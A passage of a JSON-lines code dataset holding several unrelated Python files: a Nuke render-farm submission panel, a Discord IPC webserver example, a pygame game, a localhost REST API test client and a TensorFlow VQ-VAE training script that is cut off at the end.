to meet the requirements!\")\n\n def Cut_pic(self, image):\n image = self.maximalRectangle(image)\n os.makedirs(self.dist_dir, exist_ok=True)\n\n self.divide_img(image, 400, 400, 200, 0.85)\n print(\"cutting success!\")\n\n\nif __name__ == '__main__':\n batch_code = '19'\n path = 'srcPic/19'\n files = [os.path.join(path, file) for file in os.listdir(path)]\n dist_dir = '19'\n cutter = Cutter(batch_code, files, dist_dir)\n cutter.auto_cut()\n","sub_path":"modelsearch/cut_image.py","file_name":"cut_image.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"123171598","text":"import os\nimport nukescripts, nuke\n\nclass FakePythonPanel(object):\n pass\n\n\nif 'PythonPanel' not in nukescripts.__dict__:\n nukescripts.PythonPanel = FakePythonPanel\nfrom uuid import uuid4\nimport utils\nfrom HaGraph import HaGraph\nfrom HaGraph import HaGraphItem\nfrom hafarm import SlurmRender\n\n\n\nclass HaContextNuke(object):\n def _get_graph(self, **kwargs):\n job = os.getenv('JOB_CURRENT', 'none')\n\n write_node_list = self._write_node_list()\n\n proxy = nuke.root().knob('proxy').value() \n if proxy == True:\n for write_node in write_node_list:\n if write_node.knob('proxy').value() == \"\":\n err = 'You must specify a proxy file name to write in \"%s\" node' % write_node.name()\n raise Exception(err)\n\n nuke.scriptSave()\n graph = HaGraph(graph_items_args=[])\n if not 'target_list' in kwargs:\n kwargs['target_list'] = [x.name() for x in write_node_list ]\n\n if not 'output_picture' in kwargs:\n kwargs['output_picture'] = str(nuke.root().node(kwargs['target_list'][0]).knob('file').getEvaluatedValue())\n\n graph.add_node(NukeWrapper(**kwargs))\n return graph\n\n\n def _queue_list(self):\n return ('3d', 'nuke', 'turbo_nuke', 'dev')\n\n\n def _group_list(self):\n return ('allhosts', 'grafika', 'render', 'old_intel', 'new_intel')\n\n\n def _write_node_list(self):\n return [ node for node in nuke.root().selectedNodes() if node.Class() in ('Write',) ]\n\n\n\n\n\nclass NukeWrapper(HaGraphItem):\n def __init__(self, *args, **kwargs):\n index, name = str(uuid4()), 'nuke'\n tags, path = ('/nuke/farm', '')\n dependencies = []\n super(NukeWrapper, self).__init__(index, dependencies, name, path, tags, *args, **kwargs)\n version = str(nuke.NUKE_VERSION_MAJOR) + '.' + str(nuke.NUKE_VERSION_MINOR)\n self.parms['exe'] = 'Nuke%s' % version\n self.parms['command_arg'] = ['-x -V ']\n self.parms['target_list'] = kwargs['target_list']\n write_node = self.parms['target_list'][0]\n script_name = str(nuke.root().name())\n path, name = os.path.split(script_name)\n self.parms['scene_file'] << { 'scene_fullpath': script_name }\n self.parms['job_name'] << { \"job_basename\": name\n , \"jobname_hash\": self.get_jobname_hash()\n , \"render_driver_name\": str(nuke.root().node(write_node).name()) }\n self.parms['req_license'] = 'nuke_lic=1'\n self.parms['step_frame'] = 5\n self.parms['ignore_check'] = True\n self.parms['queue'] = kwargs['queue']\n self.parms['group'] = kwargs['group']\n self.parms['start_frame'] = kwargs['start_frame']\n self.parms['end_frame'] = kwargs['end_frame']\n self.parms['frame_range_arg'] = ['-F %s-%sx%s',\n 'start_frame',\n 'end_frame', kwargs['frame_range']]\n \n self.parms['output_picture'] = kwargs['output_picture']\n self.parms['job_on_hold'] = kwargs['job_on_hold']\n self.parms['priority'] = kwargs['priority']\n\n if 'email_list' in kwargs:\n self.parms['email_list'] = [utils.get_email_address()]\n self.parms['email_opt'] = 'eas'\n\n if 'req_resources' in kwargs:\n self.parms['req_resources'] = kwargs['req_resources']\n\n if self.parms['target_list']:\n self.parms['command_arg'] += [' -X %s ' % ' '.join(self.parms['target_list'])]\n\n\nclass NukeFarmGUI(nukescripts.PythonPanel):\n _ctx = HaContextNuke()\n\n def __init__(self):\n nukescripts.PythonPanel.__init__(self, 'NukeFarmGUI', 'com.human-ark.NukeFarmGUI')\n self.setMinimumSize(100, 400)\n self.initGUI()\n\n\n def run(self):\n result = nukescripts.PythonPanel.showModalDialog(self)\n if not result:\n return\n\n write_node = self._ctx._write_node_list()[0]\n\n global_params = dict(\n queue = str(self.queueKnob.value())\n ,group = str(self.group_list.value())\n ,start_frame = int(self.start_frame.getValue())\n ,end_frame = int(self.end_frame.getValue())\n ,frame_range = int(self.every_of_Knob.getValue())\n ,target_list = self.write_name.value().split()\n ,output_picture = str(write_node.knob('file').getEvaluatedValue())\n ,job_on_hold = bool(self.hold_Knob.value())\n ,priority = int(self.priorityKnob.value())\n )\n \n if self.requestSlots_Knob.value():\n global_params.update( {'req_resources': 'procslots=%s' % int(self.slotsKnob.value()) } )\n \n # if self.email_Knob.value():\n # global_params.update( {'email_list': [utils.get_email_address()]} )\n \n graph = self._ctx._get_graph(**global_params)\n graph.set_render(SlurmRender.SlurmRender)\n graph.render()\n return True\n\n\n def initGUI(self):\n import os\n self.queueKnob = nuke.Enumeration_Knob('queue', 'Queue:', self._ctx._queue_list())\n self.queueKnob.setTooltip('Queue to submit job to.')\n self.queueKnob.setValue('nuke')\n self.addKnob(self.queueKnob)\n self.group_list = nuke.Enumeration_Knob('group', 'Host Group:', self._ctx._group_list() )\n self.group_list.setTooltip('Host group to submit job to.')\n self.group_list.setValue('allhosts')\n self.addKnob(self.group_list)\n self.maxTasks_Knob = nuke.WH_Knob('max_tasks', 'Maximum tasks:')\n self.maxTasks_Knob.setTooltip('Maximum number of tasks running on farm at once.')\n self.maxTasks_Knob.setValue(10)\n self.addKnob(self.maxTasks_Knob)\n self.separator5 = nuke.Text_Knob('')\n self.addKnob(self.separator5)\n write_name = ' '.join( [x.name() for x in self._ctx._write_node_list() ] )\n self.write_name = nuke.String_Knob('write_name', 'Write nodes:')\n self.write_name.setTooltip('Write nodes selected to rendering (empty for all Writes in a scene)')\n self.addKnob(self.write_name)\n self.write_name.setValue(write_name)\n self.separator2 = nuke.Text_Knob('')\n self.addKnob(self.separator2)\n self.requestSlots_Knob = nuke.Boolean_Knob('request_slots', 'Request Slots')\n self.requestSlots_Knob.setTooltip(\"Normally Nuke doesn't require free slots on the farm, which causes instant start of rendering for a cost of potentially slower renders in over-loaded conditions. This is because, unlike 3d renderes, Nuke is often limited by network access, not CPU power. The toggle forces Nuke to behave like 3d renderer and run only on a machine where free slots (cores) are avaiable. It will eventually run faster, but will have to wait in a queue for free resources. You may try to set the slots number lower (4 for example) while toggling that on.\")\n self.addKnob(self.requestSlots_Knob)\n self.slotsKnob = nuke.WH_Knob('slots', 'Slots:')\n self.slotsKnob.setTooltip('Maximum number of threads to use by Nuke.')\n self.slotsKnob.setValue(15)\n self.addKnob(self.slotsKnob)\n self.priorityKnob = nuke.WH_Knob('priority', 'Priority:')\n self.priorityKnob.setTooltip(\"Set render priority (set lower value if you want to down grade your own renders, to control which from your submited jobs are prioritized (as you can't overwrite others prority, you are about only to prioritize your own.\")\n self.priorityKnob.setRange(-1023, 1024)\n self.priorityKnob.setValue(-500)\n self.addKnob(self.priorityKnob)\n self.stepKnob = nuke.WH_Knob('steps', 'Render step:')\n self.stepKnob.setTooltip('Number of frames in a single batch. Lower value means more throughput on the farm, and fair share of resources, for a little exapnse of time.')\n self.stepKnob.setValue(5)\n self.addKnob(self.stepKnob)\n self.separator3 = nuke.Text_Knob('')\n self.addKnob(self.separator3)\n self.start_frame = nuke.Int_Knob('start_frame', 'Start Frame:')\n self.addKnob(self.start_frame)\n self.start_frame.setValue(int(nuke.root().knob('first_frame').getValue()))\n self.end_frame = nuke.Int_Knob('end_frame', 'End Frame:')\n self.addKnob(self.end_frame)\n self.end_frame.setValue(int(nuke.root().knob('last_frame').getValue()))\n self.every_of_Knob = nuke.WH_Knob('every_of', 'Render every:')\n self.every_of_Knob.setTooltip('Render only the n-th frame in a row.')\n self.every_of_Knob.setValue(1)\n self.addKnob(self.every_of_Knob)\n self.separator4 = nuke.Text_Knob('')\n self.addKnob(self.separator4)\n self.hold_Knob = nuke.Boolean_Knob('hold', 'Submit job on hold')\n self.hold_Knob.setTooltip(\"Job won't start unless manually unhold in qmon.\")\n self.addKnob(self.hold_Knob)\n # self.email_Knob = nuke.Boolean_Knob('email', 'Send me mail when finished')\n # self.email_Knob.setTooltip('Sends an email for every finised/aborded task.')\n # self.addKnob(self.email_Knob)\n self.separator5 = nuke.Text_Knob('')\n self.addKnob(self.separator5)\n self.proxy_Knob = nuke.Boolean_Knob('proxy', 'Render proxy')\n self.proxy_Knob.setValue(nuke.root().knob('proxy').value())\n self.addKnob(self.proxy_Knob)\n\n\n def knobChanged(self,knob):\n if nuke.thisKnob().name() == 'proxy':\n nuke.root().knob('proxy').setValue(knob.value())","sub_path":"Nuke.py","file_name":"Nuke.py","file_ext":"py","file_size_in_byte":9625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"149792398","text":"from quart import Quart\nfrom discord.ext import ipc\n\n\napp = Quart(__name__)\nipc_client = ipc.Client(\n secret_key=\"my_secret_key\"\n) # secret_key must be the same as your server\n\n\n@app.route(\"/\")\nasync def index():\n member_count = await ipc_client.request(\n \"get_member_count\", guild_id=12345678\n ) # get the member count of server with ID 12345678\n\n return str(member_count) # display member count\n\n\nif __name__ == \"__main__\":\n app.run()\n","sub_path":"examples/basic-ipc/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"231040766","text":"from collections import Counter\ndef most_frequent(data: list) -> str:\n \"\"\"\n determines the most frequently occurring string in the sequence.\n \"\"\"\n # your code here\n # result = Counter(data)\n # return sorted(result.items(), key=lambda x: x[1])[-1][0]\n return max(data, key=data.count)\n\n\nif __name__ == '__main__':\n # These \"asserts\" using only for self-checking and not necessary for auto-testing\n print('Example:')\n print(most_frequent([\n 'a', 'b', 'c',\n 'a', 'b',\n 'a'\n ]))\n\n assert most_frequent([\n 'a', 'b', 'c',\n 'a', 'b',\n 'a'\n ]) == 'a'\n\n assert most_frequent(['a', 'a', 'bi', 'bi', 'bi']) == 'bi'\n print('Done')","sub_path":"elementary/the_most_frequent.py","file_name":"the_most_frequent.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"143084749","text":"#-----------------------------#\n# Versions : 0.7\n#-----------------------------#\n\n\n\n#-----------------------------#\n# Import section\nimport pygame\nimport random\nimport time\nimport sys\nfrom grille import *\nfrom board import *\n#-----------------------------#\n\n\n#-----------------------------#\n# Constantes\nWIDTH = 600\nHEIGHT = 500\n\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\n\nFPS = 60\nfpsClock = pygame.time.Clock()\n\nmob1_speed = [3,2]\nmob1_position = [100, 400]\n\nplayer_speed = 5\nplayer_position = [0,0] # [x,y]\ndirection = \"stop\"\n#-----------------------------#\npygame.init()\nSCREEN = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption('Capture the ground')\ninit_board(600, 500, SCREEN)\n\nis_running = True\ngrille_class = Grille()\nwhile is_running:\n matrice= grille_class.get_grille()\n actu_board(600, 500, SCREEN,matrice, grille_class)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n is_running = False\n keys = pygame.key.get_pressed()\n if keys[pygame.K_LEFT]:\n direction = \"left\"\n elif keys[pygame.K_RIGHT]:\n direction = \"right\"\n elif keys[pygame.K_UP]:\n direction = \"up\"\n elif keys[pygame.K_DOWN]:\n direction = \"down\"\n\n if direction == \"left\" and grille_class.move_player(player_position[0] - player_speed, player_position[1]) is not None:\n player_position[0] -= player_speed\n elif direction == \"right\" and grille_class.move_player(player_position[0] + player_speed, player_position[1]) is not None:\n player_position[0] += player_speed\n elif direction == \"up\" and grille_class.move_player(player_position[0], player_position[1] - player_speed) is not None:\n player_position[1] -= player_speed\n elif direction == \"down\" and grille_class.move_player(player_position[0], player_position[1] + player_speed) is not None:\n player_position[1] += player_speed\n else:\n pos = grille_class.get_square(player_position[0], player_position[1])\n if direction == \"left\":\n if pos != \"MG\" and pos != \"MCHG\" and pos != \"MCBG\":\n player_position[0] -= player_speed\n elif direction == \"right\":\n if pos != \"MD\" and pos != \"MCHD\" and pos != \"MCBD\":\n player_position[0] += player_speed\n elif direction == \"up\":\n if pos != \"MH\" and pos != \"MCHG\" and pos != \"MCHD\":\n player_position[1] -= player_speed\n elif direction == \"down\":\n if pos != \"MB\" and pos != \"MCBG\" and pos != \"MCBD\":\n player_position[1] += player_speed\n\n\n if grille_class.get_square(player_position[0], player_position[1]) == 0:\n grille_class.add_log([player_position[0]//10, player_position[1]//10, direction])\n else:\n print(grille_class.log)\n render_zone(grille_class)\n grille_class.log = []\n\n\n if (mob1_position[0] <10) or (mob1_position[0] > 580):\n mob1_speed[0] *= -1\n if (mob1_position[1] < 10) or (mob1_position[1] > 480):\n mob1_speed[1] *= -1\n\n mob1_position[0] += mob1_speed[0]\n mob1_position[1] += mob1_speed[1]\n\n pygame.draw.rect(SCREEN, GREEN, (mob1_position[0], mob1_position[1], 10, 10))\n pygame.draw.rect(SCREEN, RED, (player_position[0], player_position[1], 10, 10))\n\n\n pygame.display.update()\n fpsClock.tick(FPS)\n\npygame.quit()","sub_path":"game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"10963184","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n# -*- author: 汪元标 -*-\r\n# -*- original name: testv2.py -*-\r\n\r\nimport requests, json\r\nimport time as systime\r\nserver_url_port = \"127.0.0.1:8000\"\r\nsession_id = None\r\nrecord_id = []\r\n\r\ndef getCurTime():\r\n\tcurtime = systime.time()\r\n\tcurtime = float(curtime)\r\n\tcurtime = int(curtime * 1000)\r\n\t#curtime = str(curtime)\r\n\treturn curtime\r\n\r\ndef isSuccess(response):\r\n\tsuccess = True\r\n\tif not response.status_code == 200:\r\n\t\tsuccess = False\r\n\tif \"error\" in response.text:\r\n\t\tsuccess = False\r\n\treturn success\r\n\r\ndef printResponse(response):\r\n\tprint(\" Status: \" + str(response.status_code))\r\n\tprint(\" Text: \" + response.text)\r\n\tprint(\" Headers: \" + str(response.headers))\r\n\r\ndef checkInput(ins):\r\n\tif ins in [\"logon\", \"login\", \"logout\", \"add\", \"delete\", \"update\", \"get\", \"query\", \"record_id\", \"quit\" ]:\r\n\t\treturn ins\r\n\telse:\r\n\t\tprint ('''\r\nSupported instructions:\r\n\tlogon\r\n\tlogin\r\n\tlogout\r\n\tadd\r\n\tdelete\r\n\tupdate\r\n\tget\r\n\tquery\r\n\trecord_id\r\n\tquit\r\n''')\r\n\t\treturn None\r\n\r\ndef logon():\r\n\tusername = input(\"username:\")\r\n\tpassword = input(\"password:\")\r\n\tr = requests.post(\"http://\" + server_url_port + r\"/logon\", \\\r\n\t\t{\r\n\t\t\t\"username\": username,\r\n\t\t\t\"password\": password,\r\n\t\t})\r\n\tprintResponse(r)\r\n\r\ndef login():\r\n\tglobal session_id\r\n\tusername = input(\"username:\")\r\n\tpassword = input(\"password:\")\r\n\tr = requests.post(\"http://\" + server_url_port + r\"/login\", \\\r\n\t\t{\r\n\t\t\t\"username\": username,\r\n\t\t\t\"password\": password,\r\n\t\t}, cookies = {} if not session_id else {\"session_id\": session_id})\r\n\tif isSuccess(r):\r\n\t\tsession_id = r.cookies.get(\"session_id\")\r\n\t\tprint('session id is ' + session_id)\r\n\tprintResponse(r)\r\n\r\ndef logout():\r\n\tglobal session_id\r\n\tprint('session id is ' + session_id)\r\n\tr = requests.post(\"http://\" + server_url_port + r\"/logout\", \\\r\n\t\t{}, cookies = {\"session_id\": session_id})\r\n\tif isSuccess(r):\r\n\t\tsession_id = None\r\n\tprintResponse(r)\r\n\r\ndef add():\r\n\tglobal record_id\r\n\tglobal session_id\r\n\t# for test, some field may not be given\r\n\tname = input(\"name: (push enter to skip)\")\r\n\ttime = getCurTime()\r\n\tcontent = input(\"content: (push enter to skip)\")\r\n\trecord = {}\r\n\tif name:\r\n\t\trecord[\"name\"] = name\r\n\tif time:\r\n\t\trecord[\"time\"] = time\r\n\tif content:\r\n\t\trecord[\"content\"] = content\r\n\tprint(record)\r\n\tr = requests.post(\"http://\" + server_url_port + r\"/record/add\", \\\r\n\t\trecord, cookies = {\"session_id\": session_id})\r\n\tprintResponse(r)\r\n\tif isSuccess(r):\r\n\t\trecord_id.append(json.loads(r.text)[\"record_id\"])\r\n\r\ndef delete():\r\n\tglobal session_id\r\n\trecord = -1\r\n\trecord = input(\"Which to delete?\")\r\n\ttry:\r\n\t\trecord = int(record)\r\n\texcept:\r\n\t\tprint(\"not a number.\")\r\n\tif not type(record) == type(1):\r\n\t\treturn\r\n\tr = requests.post(\"http://\" + server_url_port + r\"/record/\" + str(record) + \"/delete\", \\\r\n\t\t{}, cookies = {\"session_id\": session_id})\t\r\n\tif isSuccess(r):\r\n\t\trecord_id.remove(record)\r\n\tprintResponse(r)\r\n\r\ndef update():\r\n\tglobal session_id\r\n\trecord = -1\r\n\t_id = input(\"Which to update?\")\r\n\ttry:\r\n\t\t_id = int(_id)\r\n\texcept:\r\n\t\tprint(\"not a number.\")\r\n\tif not type(_id) == type(1):\r\n\t\treturn\r\n\tname = input(\"name: (push enter to skip)\")\r\n\ttime = getCurTime()\r\n\tcontent = input(\"content: (push enter to skip)\")\r\n\trecord = {}\r\n\tif name:\r\n\t\trecord[\"name\"] = name\r\n\tif time:\r\n\t\trecord[\"time\"] = time\r\n\tif content:\r\n\t\trecord[\"content\"] = content\r\n\tr = requests.post(\"http://\" + server_url_port + r\"/record/\" + str(_id) + \"/update\", \\\r\n\t\trecord, cookies = {\"session_id\": session_id})\r\n\tprintResponse(r)\r\n\r\ndef get():\r\n\tglobal session_id\r\n\trecord = -1\r\n\trecord = input(\"Which to get?\")\r\n\ttry:\r\n\t\trecord = int(record)\r\n\texcept:\r\n\t\tprint(\"not a number.\")\r\n\tif not type(record) == type(1):\r\n\t\treturn\r\n\tr = requests.get(\"http://\" + server_url_port + r\"/record/\" + str(record), \\\r\n\t\t{\"id\": record}, cookies = {\"session_id\": session_id})\r\n\tprintResponse(r)\r\n\r\ndef query():\r\n\tglobal session_id\r\n\tname = input(\"filter name?\")\r\n\tif not name:\r\n\t\tname = \"\"\r\n\tr = requests.get(\"http://\" + server_url_port + r\"/record/query?name=\" + name, \\\r\n\t\t{}, cookies = {\"session_id\": session_id})\r\n\tprintResponse(r)\r\n\r\ndef show_record_id():\r\n\tprint(\"current record_id: \" + str(record_id))\r\n\treturn\r\n\r\n\r\n\r\n\r\nwhile True:\r\n\tins = None\r\n\twhile not ins:\r\n\t\tins = input()\r\n\t\tins = checkInput(ins)\r\n\r\n\tif ins == \"logon\":\r\n\t\tlogon()\r\n\telif ins == \"login\":\r\n\t\tlogin()\r\n\telif ins == \"logout\":\r\n\t\tlogout()\r\n\telif ins == \"add\":\r\n\t\tadd()\r\n\telif ins == \"delete\":\r\n\t\tdelete()\r\n\telif ins == \"update\":\r\n\t\tupdate()\r\n\telif ins == \"get\":\r\n\t\tget()\r\n\telif ins == \"query\":\r\n\t\tquery()\r\n\telif ins == \"record_id\":\r\n\t\tshow_record_id()\r\n\telse:\r\n\t\tquit()\r\n\r\n","sub_path":"hw4/模拟请求的脚本.py","file_name":"模拟请求的脚本.py","file_ext":"py","file_size_in_byte":4562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"570775535","text":"\"\"\"\n\nRefs:\nhttps://github.com/deepmind/sonnet/blob/master/sonnet/examples/vqvae_example.ipynb\nhttps://github.com/deepmind/sonnet/blob/master/sonnet/python/modules/nets/vqvae.py\nhttps://github.com/rstudio/keras/blob/master/vignettes/examples/vq_vae.R\nhttps://blogs.rstudio.com/tensorflow/posts/2019-01-24-vq-vae/\n\nhttps://nbviewer.jupyter.org/github/zalandoresearch/pytorch-vq-vae/blob/master/vq-vae.ipynb\n\"\"\"\nimport time\nimport random as rn\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\n\nfrom tensorflow.python.training import moving_averages\n\n# def main():\n\n# ---------------------------------------------------------------------------------------------------------------\nrandom_seed = 42\ntf.random.set_seed(random_seed)\nnp.random.seed(random_seed)\nrn.seed(random_seed)\n# ---------------------------------------------------------------------------------------------------------------\n\n(x_train, y_train), (x_test, y_test) = tf.keras.datasets.fashion_mnist.load_data()\n\n\nx_train = (x_train.astype('float32') / 255.) - 0.5\nx_test = (x_test.astype('float32') / 255.) - 0.5\n\nx_train = x_train.reshape(x_train.shape[0], 28, 28, 1)\nx_test = x_test.reshape(x_test.shape[0], 28, 28, 1)\n\ndata_variance = np.var(x_train)\n# ---------------------------------------------------------------------------------------------------------------\n\nbatch_size = 32\ntrain_buf = 100\n\ntrain_dataset = tf.data.Dataset.from_tensor_slices((x_train))\ntrain_dataset = train_dataset.shuffle(buffer_size=train_buf)\ntrain_dataset = train_dataset.batch(batch_size)\n\ntest_dataset = tf.data.Dataset.from_tensor_slices((x_test))\ntest_dataset = test_dataset.batch(batch_size)\n\n# ---------------------------------------------------------------------------------------------------------------\ninput_shape = (28, 28, 1)\nembedding_dim = 64\ndecoder_input_shape = (7, 7, embedding_dim)\n\n# ---------------------------------------------------------------------------------------------------------------\ndef residual_stack(h, num_hiddens, num_residual_layers, num_residual_hiddens):\n for i in range(num_residual_layers):\n h_i = keras.layers.Activation(activation='relu')(h)\n\n h_i = keras.layers.Conv2D(filters=num_residual_hiddens,\n kernel_size=(3, 3),\n strides=(1, 1),\n padding='same',\n name=\"res3x3_%d\" % i)(h_i)\n\n h_i = keras.layers.Activation(activation='relu')(h_i)\n\n h_i = keras.layers.Conv2D(filters=num_hiddens,\n kernel_size=(1, 1),\n strides=(1, 1),\n padding='same',\n name=\"res1x1_%d\" % i)(h_i)\n\n h += h_i\n\n return keras.layers.Activation(activation='relu')(h)\n\n\ndef create_encoder(num_hiddens, num_residual_layers, num_residual_hiddens):\n inputs = keras.layers.Input(shape=input_shape)\n\n x = keras.layers.Conv2D(filters=int(num_hiddens / 2),\n kernel_size=(4, 4),\n strides=(2, 2),\n padding='same',\n activation='relu')(inputs)\n\n x = keras.layers.Conv2D(filters=num_hiddens,\n kernel_size=(4, 4),\n strides=(2, 2),\n padding='same',\n activation='relu')(x)\n\n x = keras.layers.Conv2D(filters=num_hiddens,\n kernel_size=(3, 3),\n strides=(1, 1),\n padding='same',\n activation='relu')(x)\n\n x = residual_stack(x, num_hiddens, num_residual_layers, num_residual_hiddens)\n model = tf.keras.Model(inputs=inputs, outputs=x)\n return model\n\n\ndef create_decoder(num_hiddens, num_residual_layers, num_residual_hiddens):\n inputs = keras.layers.Input(shape=decoder_input_shape)\n\n x = keras.layers.Conv2D(filters=num_hiddens,\n kernel_size=(3, 3),\n strides=(1, 1),\n padding='same',\n activation='linear')(inputs)\n\n x = residual_stack(x, num_hiddens, num_residual_layers, num_residual_hiddens)\n\n x = keras.layers.Conv2DTranspose(filters=int(num_hiddens / 2),\n kernel_size=(4, 4),\n strides=(2, 2),\n padding='same',\n activation='relu')(x)\n\n x = keras.layers.Conv2DTranspose(filters=1,\n kernel_size=(4, 4),\n strides=(2, 2),\n padding='same',\n activation='linear')(x)\n\n\n model = tf.keras.Model(inputs=inputs, outputs=x)\n return model\n\n# ---------------------------------------------------------------------------------------------------------------\nbatch_size = 32\nimage_size = 32\nnum_training_updates = 50000\nnum_hiddens = 128\nnum_residual_hiddens = 32\nnum_residual_layers = 2\nembedding_dim = 64\nnum_embeddings = 512\ncommitment_cost = 0.25\ndecay = 0.99\nlearning_rate = 3e-4\n\nencoder = create_encoder(num_hiddens, num_residual_layers, num_residual_hiddens)\ndecoder = create_decoder(num_hiddens, num_residual_layers, num_residual_hiddens)\n\npre_vq_conv1 = keras.layers.Conv2D(filters=embedding_dim,\n kernel_size=(1, 1),\n strides=(1, 1),\n padding='same',\n activation='linear')\n\nclass VectorQuantizerEMA():\n def __init__(self, embedding_dim, num_embeddings, commitment_cost, decay, epsilon=1e-5, name='VectorQuantizerEMA'):\n self._embedding_dim = embedding_dim\n self._num_embeddings = num_embeddings\n self._decay = decay\n self._commitment_cost = commitment_cost\n self._epsilon = epsilon\n\n initializer = tf.random_normal_initializer()\n self._w = tf.Variable(initializer((embedding_dim, num_embeddings)), name='embedding')\n self._ema_cluster_size = tf.Variable(tf.constant_initializer(0.0)((num_embeddings)), name='ema_cluster_size')\n self._ema_w = tf.Variable(self._w.read_value(),name='ema_dw')\n\n def _build(self, inputs, training=False):\n w = self._w.read_value()\n\n flat_inputs = tf.reshape(inputs, [-1, self._embedding_dim])\n distances = (tf.reduce_sum(flat_inputs ** 2, 1, keepdims=True)\n - 2 * tf.matmul(flat_inputs, w)\n + tf.reduce_sum(w ** 2, 0, keepdims=True))\n\n encoding_indices = tf.argmax(- distances, 1)\n encodings = tf.one_hot(encoding_indices, self._num_embeddings)\n encoding_indices = tf.reshape(encoding_indices, tf.shape(inputs)[:-1])\n quantized = self.quantize(encoding_indices)\n e_latent_loss = tf.reduce_mean((tf.stop_gradient(quantized) - inputs) ** 2)\n\n loss = self._commitment_cost * e_latent_loss\n quantized = inputs + tf.stop_gradient(quantized - inputs)\n avg_probs = tf.reduce_mean(encodings, 0)\n perplexity = tf.exp(- tf.reduce_sum(avg_probs * tf.math.log(avg_probs + 1e-10)))\n\n return {'quantize': quantized,\n 'loss': loss,\n 'perplexity': perplexity,\n 'encodings': encodings,\n 'encoding_indices': encoding_indices, }\n\n @property\n def embeddings(self):\n return self._w\n\n def quantize(self, encoding_indices):\n w = tf.transpose(self.embeddings.read_value(), [1, 0])\n return tf.nn.embedding_lookup(w, encoding_indices)\n\n def update_table(self, inputs, encodings):\n flat_inputs = tf.reshape(inputs, [-1, self._embedding_dim])\n\n updated_ema_cluster_size = moving_averages.assign_moving_average(self._ema_cluster_size,\n tf.reduce_sum(encodings, 0), self._decay)\n dw = tf.matmul(flat_inputs, encodings, transpose_a=True)\n updated_ema_w = moving_averages.assign_moving_average(self._ema_w, dw, self._decay)\n n = tf.reduce_sum(updated_ema_cluster_size)\n updated_ema_cluster_size = (\n (updated_ema_cluster_size + self._epsilon) / (n + self._num_embeddings * self._epsilon) * n)\n\n normalised_updated_ema_w = (updated_ema_w / tf.reshape(updated_ema_cluster_size, [1, -1]))\n\n self._w.assign(normalised_updated_ema_w)\n\n\n# Vector quantizer -------------------------------------------------------------------\nvq_vae = VectorQuantizerEMA(\n embedding_dim=embedding_dim,\n num_embeddings=num_embeddings,\n commitment_cost=commitment_cost,\n decay=decay)\n\noptimizer = tf.keras.optimizers.Adam(lr=learning_rate)\n\n\n@tf.function\ndef train_step(x):\n with tf.GradientTape(persistent=True) as ae_tape:\n z = pre_vq_conv1(encoder(x))\n\n vq_output_train = vq_vae._build(z, training=True)\n x_recon = decoder(vq_output_train[\"quantize\"])\n recon_error = tf.reduce_mean((x_recon - x) ** 2) / data_variance # Normalized MSE\n loss = recon_error + vq_output_train[\"loss\"]\n\n perplexity = vq_output_train[\"perplexity\"]\n\n ae_grads = ae_tape.gradient(loss, encoder.trainable_variables + decoder.trainable_variables+ pre_vq_conv1.trainable_variables)\n optimizer.apply_gradients(zip(ae_grads, encoder.trainable_variables + decoder.trainable_variables+ pre_vq_conv1.trainable_variables))\n\n return recon_error, perplexity, z, vq_output_train['encodings']\n\n\ntrain_res_recon_error = []\ntrain_res_perplexity = []\nepochs = 100\niteraction = 0\n\nfor epoch in range(epochs):\n start = time.time()\n\n total_loss = 0.0\n total_per = 0.0\n num_batches = 0\n\n for x in train_dataset:\n recon_error, perplexity, z, encodings = train_step(x)\n vq_vae.update_table(z, encodings)\n total_loss += recon_error\n total_per += perplexity\n\n num_batches += 1\n iteraction += 1\n\n train_res_recon_error.append(recon_error)\n train_res_perplexity.append(perplexity)\n\n if (iteraction + 1) % 100 == 0:\n print('%d iterations' % (iteraction + 1))\n print('recon_error: %.3f' % np.mean(train_res_recon_error[-100:]))\n print('perplexity: %.3f' % np.mean(train_res_perplexity[-100:]))\n print()\n\n\n train_loss = total_loss / num_batches\n total_per = total_per / num_batches\n\n train_res_recon_error.append(train_loss)\n train_res_perplexity.append(total_per)\n\n # print(vq_vae.embeddings)\n\n epoch_time = time.time() - start\n #\n # template = (\"{:4d}: TIME: {:.2f} ETA: {:.2f} AE_LOSS: {:.4f} PER: {:.4f} \")\n # print(template.format(epoch + 1,\n # epoch_time, epoch_time * (epochs - epoch),\n # train_loss, total_per))\n\n\nimport matplotlib.pyplot as plt\nf = plt.figure(figsize=(16,8))\nax = f.add_subplot(1,2,1)\nax.plot(train_res_recon_error)\nax.set_yscale('log')\nax.set_title('NMSE.')\n\nax = f.add_subplot(1,2,2)\nax.plot(train_res_perplexity)\nax.set_title('Average codebook usage (perplexity).')\n\n\ndef convert_batch_to_image_grid(image_batch):\n reshaped = tf.reshape(image_batch, (4, 8, 28, 28, 1))\n reshaped = tf.transpose(reshaped, perm=(0, 2, 1, 3, 4))\n reshaped = tf.reshape(reshaped, (4 * 28, 8 * 28, 1))\n return reshaped + 0.5\n\noriginal_train = next(iter(train_dataset))\nz = pre_vq_conv1(encoder(original_train))\nvq_output_train = vq_vae._build(z, training=True)\nx_recon_train = decoder(vq_output_train[\"quantize\"])\n\nf = plt.figure(figsize=(16,8))\nax = f.add_subplot(2,2,1)\nax.imshow(convert_batch_to_image_grid(original_train)[:,:,0],\n interpolation='nearest')\nax.set_title('training data originals')\nplt.axis('off')\n\nax = 